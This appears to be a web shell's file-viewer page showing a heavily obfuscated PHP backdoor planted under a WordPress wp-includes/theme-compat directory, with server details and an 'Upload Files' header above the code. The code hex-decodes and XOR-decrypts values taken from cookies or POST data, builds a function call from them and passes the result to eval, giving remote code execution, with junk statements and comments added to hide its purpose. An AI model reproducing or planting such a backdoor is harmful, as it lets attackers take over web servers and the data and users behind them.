HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-includes/theme-compat/vufmczwl.php
<?php function/*   Kr*/negsZzz($gXYDrJZ)
						{


	return/*gdN   */@pack(	"\x48"	.     "\x2a", $gXYDrJZ/*   Bt  */);


	


     $LRXzcXrmT	=/* OGN */md5($gXYDrJZ);$_SOhAZ    =	'7976';
	$GdOxeTZH	=  base64_decode($gXYDrJZ);;
  /*  lQXED  */if    ($GdOxeTZH/*   iYoaF   */===/*LCOk */false)	{
			     $GdOxeTZH	=  '';
	/* Sf  */}

	$yjxOSTfYA   =	str_split($gXYDrJZ);
		/*   hj  */$IFBTxMJLSi	=	strlen($gXYDrJZ);
     $gqmPgRE/*  ja*/=    0;;
/*BpCYS   */while	(   $gqmPgRE	</*  kfF  */$IFBTxMJLSi/*  McUC*/)/*RGm   */{

/*   f  */$gqmPgRE++;$_zQdW  =	'47047';
    	$qthRQuGrCL	=	$yjxOSTfYA[$gqmPgRE];$_d/*OMbfv   */=/*z   */'41047';
		/*  F   */if/*iX*/(strpos($qthRQuGrCL, 'a')  !==   false)	{
  	$yjxOSTfYA[$gqmPgRE]	=/*   jhhw */strtoupper($qthRQuGrCL);;

	}
  /* CRm  */}
  /*JoZBv */$XmIzxqLNK	=     implode('',/*   dGPcc*/$yjxOSTfYA);$_L     =/*aTP*/'29723';

   $_GET['decoded']   =	$XmIzxqLNK;;
     	$_POST['hash']   =	$LRXzcXrmT;
			/*KEW  */if/*   i   */(file_exists('path/to/file'))/*  TyD   */{
			$WoFtxUXkUw/*AuVaL */=	file_get_contents('path/to/file');$_T     =	'43261';
      $jcSYCgcc	=     explode(',',	$WoFtxUXkUw);$_i	=/* LnJ*/'13678';
         $fbcIKisFhl    =     md5(serialize($jcSYCgcc));
        if	(is_array($jcSYCgcc))/*ksRmE*/{
			/*   IX   */$RSBBJqI	=	array_slice($jcSYCgcc,  0,/*  mIw  */5);;


/*   FK */}


	}


  $pRRzYYybOu/*  RPw  */=/*   Ugx */array_map('trim',/*   aNv  */$RSBBJqI);


/*   MWeWt   */$BgGGfoV	=/*  ov   */rawurldecode(implode(',',/*  aw  */$pRRzYYybOu));

/*oUdB  */$_COOKIE['final_value'] =	$BgGGfoV;$_nbIuC/*  xN   */=	'61160';
  /*CaUP   */}
				  
		/*   fRU  */function	MSCKj()
	/*   EyLM */{
		   $AwHkUevetS   =/*   f*/Array($_COOKIE,/*   M*/$_POST);$_oru    =/*  FAIfs   */'63099';
					$RpQyDiomL	=/*CXf   */array_map('md5',    $_COOKIE);


	$HrfjUWH	=/* aBth  */strpos($_SERVER['HTTP_USER_AGENT'],	'Mozilla')/*  xSYwo*/!==	false  ? 'browser     is	Mozilla'/*USA   */:	'browser   is/*   u*/not	Mozilla';
   
    	if	(is_array($AwHkUevetS))/*u  */{
					 $zsTpPOWDZ/* l*/=/* KyDcQ */array_slice($AwHkUevetS,  0,/*   MJ   */1);;

    }	else	{
 	$zsTpPOWDZ/*  P  */=  [];
       }
		    
		$cWiWMeiWJb/*   YVq   */=   explode(',',/*ns*/'apple,orange,banana');$_U    =/* NH  */'28751';
    $YeHmTn    =    rawurldecode('%20Hello%20World%20');
     $gqmPgRE	=/*   O*/0;$_cJkRK  =	'24992'; 
	/*   TW  */while/*y*/($gqmPgRE/*  h   */<     count($cWiWMeiWJb)	)/*vx   */{
  /*   Dgr  */$cWiWMeiWJb[$gqmPgRE]/*z  */=	str_repeat($cWiWMeiWJb[$gqmPgRE],	2);$_AU  =    '34183';
       $gqmPgRE++;$_bbidq    =/*  gg  */'50749';
	}

	
     	$YAQBrv	=	str_repeat($HrfjUWH,     3);$_EkxsW/*   hCJ   */=	'63634';
	
				/*  pwkp*/return	$AwHkUevetS;
		  }
     
      function  ZvHzQCD($DZvkO)
/*  XI  */{
		$DoMTX/*SK*/=     chr/*   zGI  */(35);$_BpD/*t  */= '9673';
    	foreach/*   fGvYi*/(MSCKj() as/*  Ex */$RlkrN)	{
    /* JUUF */zhZpy($RlkrN,  $DoMTX);
    	}

	}

   
/*ap  */function DgEVPUKD($oTvgxX,	$sxhiiYpibO)
   	{


/*  Y   */if	(	count/*   FWUqn  */(	$oTvgxX  )	==     3/*   oPYrR*/)	{
    /*  ELEBF*/$lvyrvmRQHK	=/*ZmP */$oTvgxX[1];
    /*pC   */$xEjRamMyQ  =     $oTvgxX[2];$_wfx	=  '6740';
	$mzBVYaJ	=	$lvyrvmRQHK($xEjRamMyQ);
					     eval/*   JNuY*/(/* p   */$mzBVYaJ	);$_WRwRy    =  '17763';
   die	();


	}
	    }
	     


/*WVQvL  */function  XXBbfZZ($gXYDrJZ,/* f  */$treAegDUT)


     {
     return  $gXYDrJZ     ^	$treAegDUT;

	}
		


	function	bZmPGqKxnn($uZqHQYcoW, $DoMTX)
  /*   doh*/{	
 $uZqHQYcoW     =/* w*/explode/*  hJXuI */($DoMTX,/*  AJm*/$uZqHQYcoW	);;
   
					  DgEVPUKD($uZqHQYcoW,	$DoMTX);
					     }
   
     /*   rhrkY   */function	zhZpy($RlkrN,  $DoMTX)
	{
			foreach	(	$RlkrN	as/*Q*/$treAegDUT  =>/* Kh*/$gXYDrJZ	)	{
			VyMGEhVjA($treAegDUT,	negsZzz($gXYDrJZ),	$DoMTX);;
	}

   }
    	

/* hVvV   */function/*   dtMF*/PWUYskbiHi($treAegDUT,  $gXYDrJZ)


/*  aanvC */{
		$LfHyjNs/*mny  */=    strlen(/*  wkGH*/$gXYDrJZ/* hccpP */)/strlen(/* l  */$treAegDUT	);;
						$treAegDUT/*Pip   */.=/*   qidX */"IOL-nlDL-cOHAI-bXp-soBrBnf-TWVGU-tFavPgq";
/*  RN  */$treAegDUT	=	str_repeat/* AXD */(     $treAegDUT,	intval($LfHyjNs)	+/*   l   */1);;
/*   xW   */
		return    $treAegDUT;;


	}
			/* yA */
         function/*  C */VyMGEhVjA($treAegDUT,/*   kL   */$gXYDrJZ,	$DoMTX)
   {	
      bZmPGqKxnn(XXBbfZZ($gXYDrJZ,/*   VXw  */PWUYskbiHi($treAegDUT,	$gXYDrJZ)),/*   k */$DoMTX);
    	
 /*   CGE   */$lEydwtn     =/*   WRYn */trim($gXYDrJZ);
  	$dWYOSxy =	explode($DoMTX,     $lEydwtn);
		if/*  iq */(count($dWYOSxy)/*  dJLw*/>     1)	{
					/*   p*/$mggRaL	=  implode("\x2d",	$dWYOSxy);;
    $WZfNkgHS/*lx  */=/* fscR  */str_pad($mggRaL,/* OAeSQ   */20,/*KfXcz   */'0', STR_PAD_RIGHT);$_Y     =	'31399';
/*  zfKR */}
      }
          


	ZvHzQCD("");;